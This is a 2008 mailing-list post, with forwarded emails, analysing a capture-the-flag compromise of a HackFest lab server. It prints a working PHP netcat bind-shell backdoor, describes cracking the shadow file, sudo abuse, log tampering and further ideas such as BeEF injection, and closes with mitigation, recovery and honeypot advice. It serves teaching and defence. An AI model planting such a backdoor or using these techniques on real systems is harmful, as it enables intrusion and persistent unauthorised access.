See http://hackfest.obnosis.com
Preliminary Forensics
Attacks were initiated by more than PLUG members and we are still sorting out
the results.
[Team has not completed the full analysis, yet.]
The root flag taken by ATB occurred over a 4 hour period and included the
following exploits:
1) He ran john against the password file and obtained in 2 seconds all of the
passwords for all users.
2) He setup foo.php in /var/www/html which reads:
<?php
system("/usr/local/bin/netcat -e /bin/bash -l 4545 &");
sleep(30);
system("pkill -f netcat");
?>
[r...@spider html]#
This allows him to restart his nc tunnel should it lock up and regain access
for port 4545 from the web systems.
Since nc did not exist on this server, he pulled in new source and built his
own, however a yum install netcat would have sufficed, unless he wanted to
customize his nc?
Since this was a FLAG he intentionally failed to rename nc to another
innoculous name - like "gamed" or "apidc" where it would not easily be seen via
a ps, or top.
3) He ran iwscan against the wlan0.
4) He nmap scanned the firewall from inside and an attemp to access /etc/shadow
was logged.
2008-12-13 12:06:00 WEB /etc/shadow access 192.168.1.250
2 2008-12-13 12:04:59 WEB /etc/shadow access 192.168.1.250
3 2008-12-13 12:03:10 WEB /etc/shadow access 192.168.1.250
4 2008-12-13 12:03:06 WEB /etc/shadow access 192.168.1.250
5 2008-12-13 12:02:46 WEB /etc/shadow access 192.168.1.250
7 2008-12-13 12:00:42 WEB /etc/shadow access 192.168.1.250
8 2008-12-13 11:57:08 WEB /etc/shadow access 192.168.1.250
9 2008-12-13 11:56:50 WEB /etc/shadow access 192.168.1.250
10 2008-12-13 11:55:00 WEB /etc/shadow access 192.168.1.250
11 2008-12-13 11:52:30 WEB /etc/shadow access 192.168.1.250
12 2008-12-13 11:51:49 WEB /etc/shadow access 192.168.1.250
14 2008-12-13 11:48:24 WEB /etc/shadow access 192.168.1.250
15 2008-12-13 11:45:06 WEB /etc/shadow access 192.168.1.250
17 2008-12-13 11:38:22 WEB /etc/shadow access 192.168.1.250
18 2008-12-13 11:35:27 WEB /etc/shadow access 192.168.1.250
19 2008-12-13 11:33:31 WEB /etc/shadow access 192.168.1.250
5) The /var/log/rootsh was edited for all but selected entries to prove his
access.
To prove the flag, our attacker also failed to edit the /var/log/secure and
/var/log/messages as well as root's .bash_history files which would normally
show no access.
Flags available, yet not obtained were:
Web Encroachment:
1) MySql injection (root)
2) http://httpd.apache.org/security/vulnerabilities_22.html
Apache/2.2.10
Additional things that might have been done:
Add BEef javascript to the host pages to take over all web visitors.
A Easypwn run in Unified sniffing mode would have gotten the firewall password.
An "links" from the server would have allowed ATB to run ftp and wget from the
linux firewall source image via the Diagnostics traceroute web gateway form to
add a telnet or other application. The custom sources for the firewall were
also on this server, so he could have changed one or more of the vpn tunnels so
that they could not be changed from the web based interface to ensure access.
To mitigate this encroachment, we would have:
1) Set secure "aged" passwords of at least 8 RANDOM characters.
2) Follow standard practices for file permissions, and users.
3) Removed backup-files.
4) Setup sudo for each login rather than all and only a select few.
5) Setup dictionary attacks/brute force controls to protect ssh
6) Use a VPN or source and destination iptables to single IPs for SSH.
Recovery from this encroachment:
1) CERT suggests that any encroached server be taken immediately offline.
However Few do so because of 24X7 uptime requirements.
In our case, I can simply add an IPTABLE statement to block 4545, and 22 on the
server.
[Sysadmin thinks: "Gee, I hope hope hope he didn't get an adjacent one via
Easypwn? Do I know? Did I have a promiscious tcpdump or sniffer watching
everything? How long will it take me to go through all those logs....." Time
for lunch...]
2) Rootkit analsis would include a complete low level inode check of all
binaries.
Even then, things like BEef javascript and XSS proxy added to the DocumentRoot
files would not be seen.
It is generally quicker and easier to simply reimage a server. Best practices
include a System dd or backup immediately after BUILD and configuration, to
immediately return a server to a pristine state.
All users post encroachment MUST setup new passwords - ensuring they are NOT
using bogus easy or repeated ones.
3) The firewall should also be reimaged with new firmware and reset to default,
and reconfigured. Just evaluating the router.cfg file with hexedit for
instance will not see if additional sources have been configured.
Post encroachment, ALL processes, from human trust, management practices, and
especially OSI layer firewalling from the outside, must be re-evaluated, and
generally, the attack vector is re-engineered, or updated (i.e. SSH is
completely turned off).
Honeypots and fully REPORTING our attackers:
We could now set traps:
1) Setup /rootsh to log to another server that is copied to another directory
every minute or so, so that it cannot be edited. Copy rootsh to /sbin/bash
(careful of permissions, suid is required for rootsh, and configure /etc/passwd
for root's shell to be /sbin/bash or use a keylogger.
2) Setup alarms from iptables - running but only logging with a script from
cron to search for any log "text"; configure snorts alerts.
3) Use a network log from the router to another server.
4) Boot the server into a liveCd honeypot, carefully replacing the original
shadow and passwd files and home directories. Leave ssh and 4545 open, and
wait to see as our owner returns to see what happened to his backdoor netcat
tunnel.
If this were a real life administrative forensics session, WE MUST Alert our
upstream and their SWIP'd provider with full logs of the exploit(s), including
date, time, and other information.
Thanks for the fun!
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |
(503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department
of Economic Security will provide a one hour presentation on forensics 1/10/09
Noon at UAT.edu.
From: [email protected]
To: [email protected]
Subject: HackFest: FLAG Escalated Access Taken = ROOT
Date: Mon, 15 Dec 2008 02:55:04 +0000
The second and most important root escalated privilege flag was taken by ATB
known as Arkaic on Freenode PlugLabs IRC. The escalated permissions were
obtained after running the default password shadow file on a FC system through
John the Ripper to obtain "nobody" [whose default /etc/passwd shell was changed
by a clueless and highly paid Drupal "developer" who was trying to get ftp to
work to /bin/bash from /bin/nologin ("Um....file transfer from Drupal is ftp
right...?). ATB then found that there was a backup of the shadow file root
hash with readable permissions (silly admins never set their UMASK right!) and
that pam.d directory also had things writable (su).
After these easy actions, including running the /etc/shadow-bak file through
John the Ripper [type yum install john], to get the root 4 digit numerical
password, I believe ATB was resourceful enough to try "sudo" from nobody which
the admin had, in his haste, set in /etc/sudoers to ALL (ALL) ALL rather than
designate each and every one of the developers, since they were in a
$REALBIGHURRY to get the site up. I believe ATB in his wisdom, then endeavored
to add a few backdoors, and possibly a rootkit, but we have to do our full
forensics for a full determination of all FLAGS obtained by his actions.
Dec 14 17:01:48 spider useradd[21049]: new group: name=waldo, GID=508
Dec 14 17:01:48 spider useradd[21049]: new user: name=waldo, UID=508, GID=508,
home=/home/waldo, shell=/bin/bash
Dec 14 17:01:54 spider passwd: PAM unable to
dlopen(/lib/security/pam_gnome_keyring.so):/lib/security/pam_gnome_keyring.so:
cannot open shared object file: No such file or directory
Dec 14 17:01:54 spider passwd: PAM adding faulty module:
/lib/security/pam_gnome_keyring.so
Dec 14 17:02:01 spider passwd: pam_unix(passwd:chauthtok): password changed for
waldo
Dec 14 17:03:49 spider su: pam_unix(su-l:session): session closed for user root
Dec 14 17:03:52 spider sudo: nobody : TTY=pts/5 ; PWD=/ ; USER=root ;
COMMAND=/bin/su -
Dec 14 17:03:52 spider su: pam_unix(su-l:session): session opened for user root
by nobody(uid=0)
nobody pts/5 ip70-176-228-90. 16:55 1:09 0.20s 0.04s sshd: nobody
[priv]
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |
(503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department
of Economic Security will provide a one hour presentation on forensics 1/10/09
Noon at UAT.edu.
Suspicious message? Thereâs an alert for that. Get your Hotmail® account now.
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |
(503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department
of Economic Security will provide a one hour presentation on forensics 1/10/09
Noon at UAT.edu.
From: [email protected]
To: [email protected]
Subject: HackFest: FLAG Escalated Access Taken = ROOT
Date: Mon, 15 Dec 2008 02:55:04 +0000
The second and most important root escalated privilege flag was taken by ATB
known as Arkaic on Freenode PlugLabs IRC. The escalated permissions were
obtained after running the default password shadow file on a FC system through
John the Ripper to obtain "nobody" [whose default /etc/passwd shell was changed
by a clueless and highly paid Drupal "developer" who was trying to get ftp to
work to /bin/bash from /bin/nologin ("Um....file transfer from Drupal is ftp
right...?). ATB then found that there was a backup of the shadow file root
hash with readable permissions (silly admins never set their UMASK right!) and
that pam.d directory also had things writable (su).
After these easy actions, including running the /etc/shadow-bak file through
John the Ripper [type yum install john], to get the root 4 digit numerical
password, I believe ATB was resourceful enough to try "sudo" from nobody which
the admin had, in his haste, set in /etc/sudoers to ALL (ALL) ALL rather than
designate each and every one of the developers, since they were in a
$REALBIGHURRY to get the site up. I believe ATB in his wisdom, then endeavored
to add a few backdoors, and possibly a rootkit, but we have to do our full
forensics for a full determination of all FLAGS obtained by his actions.
Dec 14 17:01:48 spider useradd[21049]: new group: name=waldo, GID=508
Dec 14 17:01:48 spider useradd[21049]: new user: name=waldo, UID=508, GID=508,
home=/home/waldo, shell=/bin/bash
Dec 14 17:01:54 spider passwd: PAM unable to
dlopen(/lib/security/pam_gnome_keyring.so):/lib/security/pam_gnome_keyring.so:
cannot open shared object file: No such file or directory
Dec 14 17:01:54 spider passwd: PAM adding faulty module:
/lib/security/pam_gnome_keyring.so
Dec 14 17:02:01 spider passwd: pam_unix(passwd:chauthtok): password changed for
waldo
Dec 14 17:03:49 spider su: pam_unix(su-l:session): session closed for user root
Dec 14 17:03:52 spider sudo: nobody : TTY=pts/5 ; PWD=/ ; USER=root ;
COMMAND=/bin/su -
Dec 14 17:03:52 spider su: pam_unix(su-l:session): session opened for user root
by nobody(uid=0)
nobody pts/5 ip70-176-228-90. 16:55 1:09 0.20s 0.04s sshd: nobody
[priv]
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |
(503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department
of Economic Security will provide a one hour presentation on forensics 1/10/09
Noon at UAT.edu.
Take the Black Pill & Wake up from "SECURITY MATRIX" - Check Metaploit against
this MSN Footer:
_________________________________________________________________
Send e-mail anywhere. No map, no compass.
http://windowslive.com/Explore/hotmail?ocid=TXT_TAGLM_WL_hotmail_acq_anywhere_122008---------------------------------------------------
PLUG-discuss mailing list - [email protected]
To subscribe, unsubscribe, or to change your mail settings:
http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss